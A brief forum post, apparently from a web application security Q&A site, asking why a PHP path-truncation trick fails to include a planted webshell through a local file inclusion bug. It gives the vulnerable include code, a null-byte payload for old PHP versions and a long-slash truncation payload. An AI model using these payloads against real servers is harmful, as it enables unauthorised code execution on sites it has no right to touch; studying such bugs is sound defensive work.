How to use / to LFI - Web Application Security

laterain

vul.php code:

<%php

$xx = $_REQUEST['xx'];

require("./te$xx.php");

%>

I have a webshell at ./shell.txt

We can GET /vul.php?xx=/../shell.txt%00 to get a shell,

but the php version must before 5.3.4!

However,I had heard another way to get a shell !

The way is : we can GET /vul.php?xx=/../shell.txt////////////////////////////////(here is so many '/')

But,I can't get the shell at last!

Here is the check code:

<?php

$xx = 'shell.txt';

for($i=0;$i<=1000000;$i++) {

$xx .= '/';

}

require("./$xx.php");

?>

Somebody had got a shell by this way!

Did the php have this bug?

Can you help me ? Thx.

PS:I'm not good at English,sorry.